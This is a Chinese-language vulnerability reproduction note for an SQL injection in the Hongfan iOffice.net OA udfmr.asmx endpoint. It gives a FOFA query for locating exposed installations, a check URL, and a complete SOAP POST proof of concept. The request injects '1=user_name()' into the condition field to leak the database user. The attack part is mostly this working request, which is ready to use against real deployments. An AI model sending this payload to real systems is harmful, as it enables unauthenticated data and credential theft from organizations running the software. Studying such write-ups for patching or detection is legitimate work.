H3-6红帆-OA-SQL
漏洞描述:
红帆iOffice.net udfmr.asmx接口处存在SQL注入漏洞,未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证,最终可能导致服务器失陷。
网站图片:
网络测绘:
fofa语法:
FOFA:app=“红帆-ioffice”
漏洞复现:
payload:
http://your-ip/iOffice/prg/set/wss/udfmr.asmx?op=GetEmpSearch
效果图:
出现以上这种情况则可能存在漏洞
PoC
POST /iOffice/prg/set/wss/udfmr.asmx HTTP/1.1
Host: your-ip
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/ioffice/udfmr/GetEmpSearch"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetEmpSearch xmlns="http://tempuri.org/ioffice/udfmr">
<condition>1=user_name()</condition>
</GetEmpSearch>
</soap:Body>
</soap:Envelope>
查询当前数据库用户